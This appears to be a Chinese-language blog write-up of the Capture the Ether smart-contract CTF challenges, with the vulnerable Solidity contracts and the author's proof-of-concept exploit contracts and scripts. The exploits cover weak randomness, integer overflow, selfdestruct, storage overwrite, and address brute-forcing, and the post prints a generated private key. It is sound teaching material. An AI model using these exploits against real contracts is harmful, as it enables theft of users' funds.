CTF 最新文章

capturetheether_writeup

0x01 Lotteries

  1. Guess the number

    pragma solidity ^0.4.21;
    
    contract GuessTheNumberChallenge {
       uint8 answer = 42;//答案
    
       function GuessTheNumberChallenge() public payable {
           require(msg.value == 1 ether);
       }
    
       function isComplete() public view returns (bool) {
           return address(this).balance == 0;
       }
    
       function guess(uint8 n) public payable {
           require(msg.value == 1 ether);
    
           if (n == answer) {
               msg.sender.transfer(2 ether);
           }
       }
    }

    uint8 answer = 42;require(msg.value == 1 ether);调用guess(42),并设置msg.value为1ether,交易成功后合约余额为0

  2. Guess the secret number

    pragma solidity ^0.4.21;
    
    contract GuessTheSecretNumberChallenge {
       bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;//解密
    
       function GuessTheSecretNumberChallenge() public payable {
           require(msg.value == 1 ether);
       }
    
       function isComplete() public view returns (bool) {
           return address(this).balance == 0;
       }
    
       function guess(uint8 n) public payable {
           require(msg.value == 1 ether);
    
           if (keccak256(n) == answerHash) {
               msg.sender.transfer(2 ether);
           }
       }
    }

    个人思路是调用测试脚本,爆破hash值,将result然后传入guess()函数,成功完成,脚本如下

    pragma solidity ^0.4.21;
    
    contract SecretNumPoc {
       bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
       uint8 num;
    
       function SecretNumPoc() public{
    
       }
    
       function guess() public payable returns(uint result){
    
       for(num = 0;num <= 2**8 -1;num++){
    
           if (keccak256(num) == answerHash){
    
               return num;
           }
       }
    
       }
    }
  3. Guess the random number

    pragma solidity ^0.4.21;
    
    contract GuessTheRandomNumberChallenge {
       uint8 answer;//状态变量,外部可获得
    
       function GuessTheRandomNumberChallenge() public payable {
           require(msg.value == 1 ether);
           answer = uint8(keccak256(block.blockhash(block.number - 1), now));//通过block.hash获取随机数
       }
    
       function isComplete() public view returns (bool) {
           return address(this).balance == 0;
       }
    
       function guess(uint8 n) public payable {
           require(msg.value == 1 ether);
    
           if (n == answer) {
               msg.sender.transfer(2 ether);
           }
       }
    }

    使用web3.eth.getStorageAt('0x652706A63de2493CBDe712549140d9E15a89bEdf', 0,function(x,y){console.log(y)})获取answer的值为0x44,调用guess(68),并每次转账1ether,直到合约账户为零,完成任务。

  4. Guess the new number

    pragma solidity ^0.4.21;
    
    contract GuessTheNewNumberChallenge {
       function GuessTheNewNumberChallenge() public payable {
           require(msg.value == 1 ether);
       }
    
       function isComplete() public view returns (bool) {
           return address(this).balance == 0;
       }
    
       function guess(uint8 n) public payable {
           require(msg.value == 1 ether);
           uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
    
           if (n == answer) {
               msg.sender.transfer(2 ether);
           }
       }
    }

    POC

    pragma solidity ^0.4.21;
    
    interface GuessTheNewNumberChallenge {
    
       function guess(uint8 n) external payable;
       }
    
    contract Poc {
    
       address owner;
       //构造函数,部署合约者为合约所有者
       function Poc() public{
           owner = msg.sender;
       } 
       //修改器,只有hacker可以使用
       modifier OnlyOwner(){
    
           require(owner==msg.sender); 
           _;
       }   
    
       GuessTheNewNumberChallenge newnum = GuessTheNewNumberChallenge(0x5cD5CD2AafaC18C11a63c2a40A6F61dDf411Ef7B);
       //攻击
       function expolit() public payable OnlyOwner{
    
            uint8 num = uint8(keccak256(block.blockhash(block.number - 1), now));//生成随机数
            newnum.guess.value(1 ether)(num);//调用被攻击合约的guess()方法
       }
       //提币
       function withDraw() public payable OnlyOwner{
    
           msg.sender.transfer(address(this).balance);
       }
       //fallback()函数
       function() external payable{
    
       }
    }

    先实例化被攻击合约,然后由于blockhash与now(timestamp)由矿工指定,不同交易的块hash值是相同的。在Poc合约中使用相同方法生成随机数,再将随机数传入攻击合约的guess方法newnum.guess.value(1 ether)(num);,并转账1 ether,成功执行。

  5. Predict the future

    pragma solidity ^0.4.21;
    
    contract PredictTheFutureChallenge {
       address guesser;
       uint8 guess;
       uint256 settlementBlockNumber;
    
       function PredictTheFutureChallenge() public payable {
           require(msg.value == 1 ether);
       }
    
       function isComplete() public view returns (bool) {
           return address(this).balance == 0;
       }
    
       function lockInGuess(uint8 n) public payable {
           require(guesser == 0);//address未初始化的时候为零
           require(msg.value == 1 ether);
    
           guesser = msg.sender;//保存竞猜者的地址
           guess = n;//设置猜测的数
           settlementBlockNumber = block.number + 1;//比当前区块高度多1
       }
    
       function settle() public {
           require(msg.sender == guesser);
           require(block.number > settlementBlockNumber);//当前区块高度大于lockInGuess中锁定的settlementBlockNumber,需要先锁定值再进行猜测
    
           uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;//通过区块哈希产生0-9的随机数
    
           guesser = 0;//解锁,设置竞猜者为0,进行下一次竞猜
           if (guess == answer) {
               msg.sender.transfer(2 ether);
           }
       }
    }

    address默认为0x0,bool的默认值为false,bytes32的默认值为32字节长的0,uint默认为0。这样便可调用lockInGuess函数,先锁定一个0-9的值,然后再计算出一个值等于猜测值,再调用原合约的settle()函数进行攻击。

    POC:

    pragma solidity ^0.4.21;
    
    interface PredictTheFutureChallenge {
        function lockInGuess(uint8 n) external payable;
        function settle() external;
    }
    
    contract PredictTheFutureChallengePoc {
       uint8 guessNum;
       PredictTheFutureChallenge Instance = PredictTheFutureChallenge(0x0975b7538E4B4903bA48af0F8532af1DcD541385);
       //创建被攻击合约实例
    
       function PredictTheFutureChallengePoc() public payable {
    
       }
    
       //设置一个数
       function setNum(uint8 n) public payable {
    
           guessNum = n;
           Instance.lockInGuess.value(1 ether)(n);//调用被攻击合约
    
       }
    
       //猜测
       function expolit() public payable returns(bool result){
    
           uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;//计算出一个0-9的随机数
    
           if(guessNum == answer){
               Instance.settle();//如果计算出的数和设置的数一样,调用被攻击合约的settle()函数
               return true;
           }
           return false;
       }
       //执行猜测,使被攻击合约解锁
       function reSet() public payable{
           Instance.settle();
       }
    
       //提币
       function withDraw() public payable{
    
           msg.sender.transfer(address(this).balance);
       }
    
       //fallback函数
       function() external payable{
    
       }
    
    }
  6. Predict the block hash

    pragma solidity ^0.4.21;
    
    contract PredictTheBlockHashChallenge {
       address guesser;
       bytes32 guess;
       uint256 settlementBlockNumber;
       //构造函数
       function PredictTheBlockHashChallenge() public payable {
           require(msg.value == 1 ether);
       }
    
       function isComplete() public view returns (bool) {
           return address(this).balance == 0;
       }
       //锁定猜测的hash值
       function lockInGuess(bytes32 hash) public payable {
           require(guesser == 0);
           require(msg.value == 1 ether);
    
           guesser = msg.sender;
           guess = hash;
           settlementBlockNumber = block.number + 1;
       }
       //进行猜测
       function settle() public {
           require(msg.sender == guesser);
           require(block.number > settlementBlockNumber);
    
           bytes32 answer = block.blockhash(settlementBlockNumber);
           //settlementBlockNumber在锁定后为固定区块高度,但block.blockhash()只对最近256个区块有效,超过后其返回值为0
    
           guesser = 0;
           if (guess == answer) {
               msg.sender.transfer(2 ether);
           }
       }
    }

    预测下一区块的hash值,这是不太现实的。想方法绕过其限制条件。bytes32 answer = block.blockhash(settlementBlockNumber),其answer是一个固定区块的hash值,但block.blockhash()只对最近256个区块有效,超过后其返回值为0。所以先调用lockInGuess()锁定hash值为bytes32(0),然后可以使用web3.eth.getBlockNumber(console.log)获取当前区块,与lockInGuess()锁定时的区块比较,超过256 + 1后,调用settle()进行提币。

0x02 Math

  1. Token sale

    pragma solidity ^0.4.21;
    
    contract TokenSaleChallenge {
       mapping(address => uint256) public balanceOf;
       uint256 constant PRICE_PER_TOKEN = 1 ether;
    
       function TokenSaleChallenge(address _player) public payable {
           require(msg.value == 1 ether);
       }
    
       function isComplete() public view returns (bool) {
           return address(this).balance < 1 ether;
       }
    
       function buy(uint256 numTokens) public payable {
           require(msg.value == numTokens * PRICE_PER_TOKEN);//未检查溢出情况,存在乘法溢出,在不转账的情况下,可增加账户余额。
    
           balanceOf[msg.sender] += numTokens;
       }
    
       function sell(uint256 numTokens) public {
           require(balanceOf[msg.sender] >= numTokens);
    
           balanceOf[msg.sender] -= numTokens;
           msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
       }
    }

    假设numTokens -1刚好不溢出,即(numTokens -1)*(10**18) = 2**256 -1,则numTokens=(2**256 -1)/(10**18) + 1,计算得出numTokens=1157920892373161954235709850086879078532699846656405640394575840079132,然后计算value:(numTokens * 10**18) % 2**256得出value= 703600640000000000wei。调用buy()函数,传入numTokens与msg.value,即在转账很少的情况下,成功buy到numTokens数量的Tokens,造成代币增发。然后调用sell()函数,提取合约中的eth。

  2. Token whale

    pragma solidity ^0.4.21;
    
    contract TokenWhaleChallenge {
       address player;
    
       uint256 public totalSupply;
       mapping(address => uint256) public balanceOf;
       mapping(address => mapping(address => uint256)) public allowance;
    
       string public name = "Simple ERC20 Token";//名称
       string public symbol = "SET";//Token标志
       uint8 public decimals = 18;//小数位数
    
       function TokenWhaleChallenge(address _player) public {
           player = _player;
           totalSupply = 1000;//总量
           balanceOf[player] = 1000;//玩家余额
       }
    
       function isComplete() public view returns (bool) {
           return balanceOf[player] >= 1000000;
       }
    
       event Transfer(address indexed from, address indexed to, uint256 value);//转账时调用该事件
    
       function _transfer(address to, uint256 value) internal {
           balanceOf[msg.sender] -= value;//向下溢出,增加消息调用者的代币
           balanceOf[to] += value;
    
           emit Transfer(msg.sender, to, value);
       }
    
       function transfer(address to, uint256 value) public {
           require(balanceOf[msg.sender] >= value);
           require(balanceOf[to] + value >= balanceOf[to]);
    
           _transfer(to, value);
       }
    
       event Approval(address indexed owner, address indexed spender, uint256 value);//授权转账
    
       function approve(address spender, uint256 value) public {
           allowance[msg.sender][spender] = value;//将调用者余额授权value给spender
           emit Approval(msg.sender, spender, value);
       }
    
       function transferFrom(address from, address to, uint256 value) public {
           require(balanceOf[from] >= value);//from余额大于等于value
           require(balanceOf[to] + value >= balanceOf[to]);//接受方余额加上value大于等于其余额
           require(allowance[from][msg.sender] >= value);//授权余额大于等于value
    
           allowance[from][msg.sender] -= value;//授权值减去value
           _transfer(to, value);//消息调用者余额会减少value
       }
    }

    在_transfer()函数中未作安全检查,balanceOf[msg.sender] -= value;//向下溢出,增加消息调用者的代币,进一步查看代码发现调用该函数的有transfer(),transferFrom()两个函数。在transfer()中,有检查调用者余额上限;在调用transferFrom()时,只检查了from授权者的余额,未检查消息调用者的余额,当from的余额 > 参数value值 > msg.sender的余额 时,to地址为其他地址(除了player地址),balanceOf[msg.sender]下溢出,变为一个极大的值,造成代币增发。

    攻击流程:

    • 登录player账户,先调用transfer,向第二个账户转账,使player账户余额小于第二个账户的余额
    • 登录第二个账户,调用approve,授权player账户大于player余额的值value
    • 登录player账户,调用transferFrom,指定from为第二个账户,to为第三个账户,value值大于player账户余额,调用成功后,发生溢出。
  3. Retirement fund

    pragma solidity ^0.4.21;
    
    contract RetirementFundChallenge {
       uint256 startBalance;//初始余额
       address owner = msg.sender;
       //状态变量在合约部署时初始化,部署后通过web3.eth.getStorageAt('0x652706A63de2493CBDe712549140d9E15a89bEdf',1,function(x,y){console.log(y)})可知为靶场地址,玩家不可调用。
       address beneficiary;//受益者
       uint256 expiration = now + 10 years;//10年后到期
    
       function RetirementFundChallenge(address player) public payable {
           require(msg.value == 1 ether);
           beneficiary = player;
           startBalance = msg.value;//1 ether
       }
    
       function isComplete() public view returns (bool) {
           return address(this).balance == 0;
       }
       //提币
       function withdraw() public {
           require(msg.sender == owner);//owner可调用
    
           if (now < expiration) {
               // early withdrawal incurs a 10% penalty
               msg.sender.transfer(address(this).balance * 9 / 10);
           } else {
               msg.sender.transfer(address(this).balance);
           }
       }
    
       function collectPenalty() public {
           require(msg.sender == beneficiary);//玩家可调用
    
           uint256 withdrawn = startBalance - address(this).balance;//初始余额与合约余额之差,合约余额大于1ether时会造成减法溢出
    
           // an early withdrawal occurred
           require(withdrawn > 0);
    
           // penalty is what's left
           msg.sender.transfer(address(this).balance);
       }
    }

    startBalance为1 ether,需要withdrawn大于零时,玩家可以提币,所以需要想办法使withdrawn大于零。startBalance不可覆盖不可改变,想法改变合约余额address(this).balance,这也很容易部署一个攻击合约,然后调用自毁selfdestruct(address),把攻击合约的余额转给指定靶场合约,address(this).balance便变大了,然后造成减法溢出,withdrawn大于0,调用collectPenalty(),成功提币。

    PS:任何合约都能够实现该 selfdestruct(address) 功能,该功能从合约地址中删除所有字节码,并将所有存储在那里的 Ether 发送到参数指定的地址。如果此指定的地址也是合约,则不会调用任何函数(包括 fallback 函数)。因此,使用 selfdestruct() 函数可以无视目标合约中存在的任何代码,强制将 Ether 发送给任一目标合约,包括没有任何可支付函数的合约。这意味着,任何攻击者都 可以创建带有 selfdestruct() 函数的合约,向其发送 Ether,调用 selfdestruct(target) 并强制将 Ether 发送至 target 合约。

  4. Mapping

    pragma solidity ^0.4.21;
    
    contract MappingChallenge {
       bool public isComplete;
       uint256[] map;
    
       function set(uint256 key, uint256 value) public {
           // Expand dynamic array as needed
           if (map.length <= key) {
               map.length = key + 1;//可溢出,但会出错
           }
    
           map[key] = value;
       }
    
       function get(uint256 key) public view returns (uint256) {
           return map[key];
       }
    }
    • 尝试过使 map.length溢出,key为uint256,最大为2^256 -1,key + 1后溢出为0,map.length=0,map[key] = value无法成功执行,程序报错。
    • 需要理解动态数据的存储位,参考https://segmentfault.com/a/1190000013791133
    • EVM分配给每个合约2**256个256bit的存储位,值变量isComplete的slot值为0,存储在第一个256bit,map的slot值为1,则map.lenth值存储在第二个256bit,map[0]存储在keccak256(1)位置上,即0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6。所以2**256 - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 = 35707666377435648211887908874984608119992236509074197713628505308453184860938即是值变量isComplete的位置。
    • 设置key为35707666377435648211887908874984608119992236509074197713628505308453184860938,value为1,调用set函数,成功覆盖。
  5. Donation

    pragma solidity ^0.4.21;
    
    contract DonationChallenge {
       struct Donation {
           uint256 timestamp;
           uint256 etherAmount;
       }
       Donation[] public donations;
    
       address public owner;
    
       function DonationChallenge() public payable {
           require(msg.value == 1 ether);
    
           owner = msg.sender;
       }
    
       function isComplete() public view returns (bool) {
           return address(this).balance == 0;
       }
    
       function donate(uint256 etherAmount) public payable {
           // amount is in ether, but msg.value is in wei
           uint256 scale = 10**18 * 1 ether;// scale为10**36 wei
           require(msg.value == etherAmount / scale);
    
           Donation donation;//会是一个storage的变量
           donation.timestamp = now;//覆盖donations.length slot 0位
           donation.etherAmount = etherAmount;//覆盖owner slot 1位
    
           donations.push(donation);
       }
    
       function withdraw() public {
           require(msg.sender == owner);//合约拥有者可调用
    
           msg.sender.transfer(address(this).balance);
       }
    }

    在solidity0.5.0版本前,未初始化的存储器局部变量会覆盖声明的状态变量。直接将etherAmount赋值为自己的地址0x96e8189d48EB15Cb18FF662649F8A42654A0E417,然后计算出msg.value,0x96e8189d48EB15Cb18FF662649F8A42654A0E417 / (10**36) 位,调用donate()进行覆盖后满足提币条件,然后进行withdraw()调用。

  6. Fifty years

    pragma solidity ^0.4.21;
    
    contract FiftyYearsChallenge {
       struct Contribution {
           uint256 amount;
           uint256 unlockTimestamp;
       }
       Contribution[] queue;//slot 0 为queue.lenth
       uint256 head;//slot 1
    
       address owner;//slot 2
       function FiftyYearsChallenge(address player) public payable {
           require(msg.value == 1 ether);
    
           owner = player;//合约拥有者为player
           queue.push(Contribution(msg.value, now + 50 years));//时间戳加50年后,加入队列
       }
    
       function isComplete() public view returns (bool) {
           return address(this).balance == 0;//合约账户余额为0时成功
       }
    
       function upsert(uint256 index, uint256 timestamp) public payable {
           require(msg.sender == owner);//owner可调用
    
           if (index >= head && index < queue.length) {//下标大于head且小于队列长度
               // Update existing contribution amount without updating timestamp.
               Contribution storage contribution = queue[index]; //声明storage变量,会产生覆盖
               contribution.amount += msg.value;
           } else {
               // Append a new contribution. Require that each contribution unlock
               // at least 1 day after the previous one.
               require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);//
    
               contribution.amount = msg.value;//覆盖queue.length
               contribution.unlockTimestamp = timestamp;//覆盖head
               queue.push(contribution);//amount = queue.lenth + 1 = msg.value + 1
           }
       }
    
       function withdraw(uint256 index) public {
           require(msg.sender == owner);//合约拥有者可调用
           require(now >= queue[index].unlockTimestamp);//到期可调用
    
           // Withdraw this and any earlier contributions.
           uint256 total = 0;
           for (uint256 i = head; i <= index; i++) {//从head开始提币
               total += queue[i].amount;
    
               // Reclaim storage.
               delete queue[i];
           }
    
           // Move the head of the queue forward so we don't have to loop over
           // already-withdrawn contributions.
           head = index + 1;
    
           msg.sender.transfer(total);
       }
    }

    upsert函数中timestamp是用户可控的,明显存在加法溢出,添加第一个contribution到queue[1]处时,timestamp设置为2**256 - 24*3600 = 115792089237316195423570985008687907853269984665640564039457584007913129553536,后面再添加第二个contribution时则timestamp刚好为0时。contribution.amount = msg.value会覆盖queue.length;contribution.unlockTimestamp = timestamp会覆盖head;每一个contribution.amount=queue.length,在执行queue.push时,queue.length会加1。

    两次调用upsert,msg.value都为1wei:如果第二次msg.value为2wei的话,queue[2].amount = 3 wei ,amount之和为1ether + 2wei + 3wei ,实际合约余额address(this).balance为1ether + 1wei + 2wei;在提币的时候会出错;可以采取前面用到的selfdestruct向合约转账2wei补齐后,调用withdraw(2)。

    第一次为upsert(1,115792089237316195423570985008687907853269984665640564039457584007913129553536) msg.value = 1wei

    第二次为upsert(2,0) msg.value = 1wei

    此时合约的balance为1ether + 2 wei;head = 0; queue.lenth = 2 ;queue[1].amount = 2。调用withdraw(1)提币。

0x03 Accounts

  1. Fuzzy identity

    pragma solidity ^0.4.21;
    
    interface IName {
       function name() external view returns (bytes32);
    }
    
    contract FuzzyIdentityChallenge {
       bool public isComplete;
    
       function authenticate() public {
           require(isSmarx(msg.sender));
           require(isBadCode(msg.sender));
    
           isComplete = true;
       }
    
       function isSmarx(address addr) internal view returns (bool) {
           return IName(addr).name() == bytes32("smarx");//地址的name()函数返回值要为smarx
       }
    
       function isBadCode(address _addr) internal pure returns (bool) {
           bytes20 addr = bytes20(_addr);//需要地址中包含badc0de串
           bytes20 id = hex"000000000000000000000000000000000badc0de";
           bytes20 mask = hex"000000000000000000000000000000000fffffff";
    
           for (uint256 i = 0; i < 34; i++) {
               if (addr & mask == id) {
                   return true;
               }
               mask <<= 4;
               id <<= 4;
           }
    
           return false;
       }

    总的来说,由于合约地址由合约部署者和其Nonce 确定,这样我们就可以得到想要的智能合约地址。

    POC:

    来自https://www.anquanke.com/post/id/154104
    const util = require('ethereumjs-util');
    const rlp = require('rlp');
    const generate = require('ethjs-account').generate;
    seed='892h@fs8sk^2hSFR*/8s8shfs.jk39hsoi@hohskd51D1Q8E1%^;DZ1-=.@WWRXNI()VF6/*Z%$C51D1QV*<>FE8RG!FI;"./+-*!DQ39hsoi@hoFE1F5^7E%&*QS'//生成地址所用的种子
    function fuzz(){
       for(var k=0;k<50000;k++){
           seed=seed+Math.random().toString(36).substring(12);//为避免重复,生成一定数目后对种子进行更新
           for(var i=0;i<1000;i++){
               res=generate(seed);
               for (var j=0;j<10;j++){
                   encodedRlp = rlp.encode([res.address, j]);// 进行rlp编码
                   buf = util.keccak256(encodedRlp);
                   contractAddress =buf.slice(12).toString('hex');//取buffer第12个字节后面的部分作为地址
    
                   if(contractAddress.match("badc0de")){
                       console.log(res);//privateKey,publicKey,address
                       console.log(j);//nonce
                       return;
                   }
               }
           }
       }
    }
    fuzz();

    POC跑出的第一个账户

    {

    privateKey:
    '0x4f3cdf3702c104e0d41e9566a0a3edacc23e16468eca876490893c94fc5abafe',
    publicKey: '0xc26f355039460f24b8821bc7ba505c0ae7d1b834372c948f3f48a26f579409220b3b56a207ef7232868d6328f2dd382bca2e161a3eda68efe83d9ae885ed03d1',
    address: '0xf93F4BB94C5a66f6fAD7E8a1374369e5D65c0800'
    nonce: 6

    }

    需要交易6次直到nonce等于5,然后部署EXP合约,其nonce刚好为6。

    EXP:

    pragma solidity ^0.4.21;
    interface FuzzyIdentityChallenge{
       function authenticate() external;
    }
    contract EXP {
       FuzzyIdentityChallenge fuzz;
       function expolit(){
           fuzz=FuzzyIdentityChallenge(0xbC4C2857884b7B3f68Fe533f247F7d9D1670a243);
           fuzz.authenticate();
       }
       function name() external view returns(bytes32){
           return bytes32("smarx");
       }
    }

    调用expolit(),合约地址传入到被攻击合约中认证。

  2. Public Key

    pragma solidity ^0.4.21;
    
    contract PublicKeyChallenge {
       address owner = 0x92b28647ae1f3264661f72fb2eb9625a89d88a31;
       bool public isComplete;
    
       function authenticate(bytes publicKey) public {
           require(address(keccak256(publicKey)) == owner);//输入公钥与地址相同则完成
    
           isComplete = true;
       }
    }

    已知地址,还原公钥,在区块浏览器中输入地址,能找到该地址的交易记录,通过交易记录可以还原公钥,使用web3.eth.getTransaction("0xabc467bedd1d17462fcc7942d0af7874d6f8bdefee2b299c9168a216d3ff0edb")获取交易详细内容,由于ECDSA算法可以还原公钥。

    POC:

    const EthereumTx = require('ethereumjs-tx').Transaction;
    const util = require('ethereumjs-util');
    
    var rawTx = {
     nonce: '0x00',
     gasPrice: '0x3b9aca00',
     gasLimit: '0x15f90',
     to: '0x6B477781b0e68031109f21887e6B5afEAaEB002b',
     value: '0x00',
     data: '0x5468616e6b732c206d616e21',
     v: '0x29',
     r: '0xa5522718c0f95dde27f0827f55de836342ceda594d20458523dd71a539d52ad7',
     s: '0x5710e64311d481764b5ae8ca691b05d14054782c7d489f3511a7abf2f5078962'
    };
    
    var tx = new EthereumTx(rawTx,{ chain: 'ropsten', hardfork: 'petersburg' });
    
    pubkey=tx.getSenderPublicKey();
    pubkeys=pubkey.toString('hex');
    var address = util.keccak256(pubkey).toString('hex').slice(24);
    
    console.log(pubkeys);
    //0x613a8d23bd34f7e568ef4eb1f68058e77620e40079e88f705dfb258d7a06a1a0364dbe56cab53faf26137bec044efd0b07eec8703ba4a31c588d9d94c35c8db4
    console.log(address);
  3. Account Takeover

    pragma solidity ^0.4.21;
    
    contract AccountTakeoverChallenge {
       address owner = 0x6B477781b0e68031109f21887e6B5afEAaEB002b;
       bool public isComplete;
    
       function authenticate() public {
           require(msg.sender == owner);
    
           isComplete = true;
       }
    }

0x04 Miscellaneous

  1. Assume ownership

    pragma solidity ^0.4.21;
    
    contract AssumeOwnershipChallenge {
       address owner;
       bool public isComplete;
    
       function AssumeOwmershipChallenge() public {
           owner = msg.sender;
       }
    
       function authenticate() public {
           require(msg.sender == owner);
    
           isComplete = true;
       }
    }

    AssumeOwnershipChallenge合约名与AssumeOwmershipChallenge()函数名并不相同,直接调用AssumeOwmershipChallenge()可成为合约owner。

  2. Token bank

    pragma solidity ^0.4.21;
    
    interface ITokenReceiver {
       function tokenFallback(address from, uint256 value, bytes data) external;
    }
    
    contract SimpleERC223Token {
       // Track how many tokens are owned by each address.
       mapping (address => uint256) public balanceOf;
    
       string public name = "Simple ERC223 Token";
       string public symbol = "SET";
       uint8 public decimals = 18;
    
       uint256 public totalSupply = 1000000 * (uint256(10) ** decimals);//总量
    
       event Transfer(address indexed from, address indexed to, uint256 value);//Transfer事件
    
       function SimpleERC223Token() public {
           balanceOf[msg.sender] = totalSupply;//合约部署者余额为总量
           emit Transfer(address(0), msg.sender, totalSupply);
       }
       //是否为合约地址
       function isContract(address _addr) private view returns (bool is_contract) {
           uint length;
           assembly {
               //retrieve the size of the code on target address, this needs assembly
               length := extcodesize(_addr)
           }
           return length > 0;
       }
    
       function transfer(address to, uint256 value) public returns (bool success) {
           bytes memory empty;
           return transfer(to, value, empty);
       }
    
       function transfer(address to, uint256 value, bytes data) public returns (bool) {
           require(balanceOf[msg.sender] >= value);
    
           balanceOf[msg.sender] -= value;
           balanceOf[to] += value;
           emit Transfer(msg.sender, to, value);
    
           if (isContract(to)) {
               ITokenReceiver(to).tokenFallback(msg.sender, value, data);
           }
           return true;
       }
    
       event Approval(address indexed owner, address indexed spender, uint256 value);
    
       mapping(address => mapping(address => uint256)) public allowance;
    
       function approve(address spender, uint256 value)
           public
           returns (bool success)
       {
           allowance[msg.sender][spender] = value;
           emit Approval(msg.sender, spender, value);
           return true;
       }
    
       function transferFrom(address from, address to, uint256 value)
           public
           returns (bool success)
       {
           require(value <= balanceOf[from]);
           require(value <= allowance[from][msg.sender]);
    
           balanceOf[from] -= value;
           balanceOf[to] += value;
           allowance[from][msg.sender] -= value;
           emit Transfer(from, to, value);
           return true;
       }
    }
    
    contract TokenBankChallenge {
       SimpleERC223Token public token;
       mapping(address => uint256) public balanceOf;
    
       function TokenBankChallenge(address player) public {
           token = new SimpleERC223Token();
    
           // Divide up the 1,000,000 tokens, which are all initially assigned to
           // the token contract's creator (this contract).
           balanceOf[msg.sender] = 500000 * 10**18;  // half for me
           balanceOf[player] = 500000 * 10**18;      // half for you
       }
    
       function isComplete() public view returns (bool) {
           return token.balanceOf(this) == 0;
       }
    
       function tokenFallback(address from, uint256 value, bytes) public {
           require(msg.sender == address(token));
           require(balanceOf[from] + value >= balanceOf[from]);
    
           balanceOf[from] += value;
       }
    
       function withdraw(uint256 amount) public {
           require(balanceOf[msg.sender] >= amount);
    
           require(token.transfer(msg.sender, amount));//重入
           balanceOf[msg.sender] -= amount;
       }
    }
MY 中和
我还没有学会写个人说明!
查看“MY 中和”的所有文章 →

相关推荐